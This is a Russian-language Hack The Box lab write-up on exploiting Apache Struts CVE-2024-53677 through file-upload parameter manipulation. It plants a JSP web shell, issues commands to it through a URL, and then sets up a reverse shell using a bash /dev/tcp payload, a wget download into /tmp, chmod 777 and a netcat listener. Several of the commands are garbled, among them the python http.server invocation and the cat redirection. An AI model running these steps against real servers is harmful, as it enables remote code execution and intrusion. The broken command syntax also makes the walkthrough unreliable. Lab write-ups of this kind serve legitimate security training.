Пошаговое руководство по эксплуатации уязвимости Apache Struts CVE-2024-53677 (RCE) через манипуляцию загрузкой файлов, включая внедрение OGNL, встраивание полезной нагрузки и установку обратной оболочки.
CVE-2024-53677 — это уязвимость, затрагивающая Apache Struts версий с 2.0.0 до 6.4.0. ⚠️ Эта уязвимость была использована в лаборатории Hack The Box.
Логика загрузки файлов в Apache Struts имеет недостаток. Злоумышленник может манипулировать параметрами загрузки файлов для обхода путей, и в некоторых обстоятельствах это может привести к загрузке вредоносного файла, который может быть использован для удаленного выполнения кода. 🔗 Ссылка: Запись NIST NVD
pom.xml показал Apache Struts 6.3.0.1📸 Раскрытие pom.xml:

Для эксплуатации этой уязвимости мы используем BurpSuite и его функционал Repeater для изменения пакетов перед отправкой. Ниже представлен неотредактированный запрос.
Наши проблемы: сайт блокирует типы файлов, отличные от [JPG, JPEG, PNG, GIF], и все в каталоге /uploads неисполнимо. Чтобы обойти эти ограничения, мы сначала добавим еще один параметр.
После добавления измененного параметра серверный ответ подтверждает, что файл был успешно загружен. Однако мы замечаем, что путь к файлу отличается от обычного каталога загрузок.
Далее мы внедряем полезную нагрузку, добавляя ее непосредственно под данными изображения и прямо перед нашими внедренными параметрами. Исходный код оболочки можно получить 🔗 Ссылка: shell.jsp Кроме того, одна важная деталь: запрос требует "Upload" с заглавной U вместо строчной upload. Это соответствует структуре эксплойта, наблюдаемой в: 🔗 Ссылка: exploit.py
С этими изменениями мы отправляем запрос. Сервер отвечает аналогично, подтверждая успешную загрузку и отражая скорректированный путь к файлу.
Теперь, перейдя по следующему URL, мы можем взаимодействовать с загруженной оболочкой.
ip/shelll.jsp?action=cmd&cmd=id

На этом этапе мы можем установить обратную оболочку, используя локально размещенный веб-сервер. Простой способ сделать это — с помощью Python: python3 http.server -m 3004
Далее создайте базовый скрипт оболочки (например, shell.sh) cat bash -i >& /dev/tcp/$IP/$PORT 0>&1 > shell.sh
Используйте wget для его загрузки wget http://ip_address/filename -O /tmp
После загрузки предоставьте права на выполнение chmod +777 /tmp/filename
а затем используйте nc (netcat) для прослушивания обратной оболочки. nc -lvnp $PORT
Наконец выполните ./filename